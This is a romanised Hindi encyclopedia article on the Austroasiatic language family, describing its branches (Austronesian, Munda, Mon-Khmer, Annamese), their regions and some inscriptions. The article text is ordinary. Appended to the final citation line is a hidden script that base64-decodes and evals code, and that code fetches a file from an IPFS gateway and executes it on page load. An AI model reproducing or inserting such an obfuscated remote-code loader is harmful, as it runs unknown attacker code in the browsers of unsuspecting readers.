आग्नेय भाषापरिवार
agney bhashaparivar sansar ki vibhinn bhashaoan ki tulana kar, unamean paee jane vali samanataoan evan aitihasik sanbandh ke adhar par unhean vibhinn samoohoan mean vibhajit kiya gaya hai. sanbandhit bhashaoan ke aise samoohoan ko 'bhashaparivar' kaha jata hai. sansar ke aise bhashaparivaroan mean prasiddh parivar hai 'agney parivar'.
agney ka arth hai agnidisha (poorv evan dakshin disha ke madhy) se sanbandhit athava agnidisha mean sthit. at: agney bhashaparivar se tatpary aise bhashaparivar se hai jisaki bhashaean mukhy roop se poorv evan dakshin ke madhy boli jati haian. is parivar ka prasiddh nam 'astroeshiyatik' hai. petar shmit ne 'astroneshiyan' athava 'malay-palineshan' (dr. 'astroneshiyan') parivar ko astro--eshiyatik parivar se jo dakar ek brihath bhashaparivar ki kalpana ki jise unhoanne 'astrik' parivar ka nam diya. kshetr ki drishti se astrik parivar sansar ka sabase vistrit bhashaparivar hai. pashchim mean maidagaskar se lekar poorv mean poorvi dvipasamooh tak tatha uttar pashchim mean panjab ke uttari bhag se lekar dakshin poorv mean nyoozilaiand tak is bhashaparivar ka phailav hai.
is prakar astrik parivar ke mukhy do varg haian-(1) astroneshiyan, (2) astro-eshiyatik. astroneshiyan athava malay-poli-neshiyan varg ki bhashaean prashaant mahasagar ke dvipoan mean phaili huee haian. in bhashaoan ke bhi kee samooh haian, : iandoneshiyan, maleneshiyan, maikroneshiyan evan polineshiyan. astroneshiyan varg ke vivechan mean nyoogini evan astreliya ki kuchh mool bhashaoan ka bhi ullekh kiya jata hai kyoanki in bhashaoan mean kuchh visheshataean astroneshiyan varg ki haian.
astro-eshiyatik varg ki bhashaean madhyabharat ke chhota nagapur pradesh se lekar anam tak phaili huee haian. isaki mukhy tin shakhaean haian:
(1) muanda, (2) manakhmer, (3) anami.
muanda (jile 'kol' bhi kaha jata hai) bhashaoan ka kshetr mukhy roop se bharat hai. isake do bhag haian. ek to himalay ki taraeevala bhag jisaki sima shimala ki paha diyoan tak hai tatha doosara madhyabharat ka chhota nagapuravala bhag. is shakha ki mukhy upabhashaean haian: santhali, muandari, kanavari, kh diya, ho evan shavar. muanda bhashaoan ka bharatiy bhashaoan par paryapt prabhav hai.
manakhmer shakha ki bhashaean, vartaman samay mean mukhy roop se syam, barma aur bharat mean boli jati haian. is shakha ki do mukhy bhashaean haian-man evan khmer. man ka kshetr barma ki marataban kha di ka tatavarti bhag hai. yah kisi samay b di samriddhi sahityik bhasha thi. man ke shilalekh 11vian shatabdi ke asapas ke haian. khmer ka kshetr barma evan syam hai. khmer bhasha ke shilalekh 7vian shatabdi ke asapas ke haian. bharat ke asam pradesh ki khasi paha diyoan par boli janevali 'khasi' athava 'khasiya' (kee batoan mean bhinn hone par bhi) isi shakha se sanbandh rakhati hai. nikobar ki 'nikobari' evan barma ke vanoan mean boli janevali 'palauang' adi bhashaoan ka sanbandh bhi is shakha se hai.
anami anam pradesh ki bhasha hai jo mukhy roop se hiandachin ke poorvi kirane ke bhagoan mean boli jati hai. yah ek prakar se mishrit bhasha hai, jisamean kuchh visheshataean manakhmer shakha ki evan kuchh visheshataean chini bhasha ki haian. isalie kuchh log isaki ganana is parivar mean n kar chini parivar mean karate haian.
ek hi parivar ki hone par bhi is parivar ki bhashaoan mean paryapt bhinnata hai. yoan mukhy roop se bhashaean shlisht yogatmak bhashaean haian kiantu sath hi kuchh bhashaoan mean ayogatmak (ekakshari) bhashaoan ke lakshan bhi dikhaee p date haian.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 353-54 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>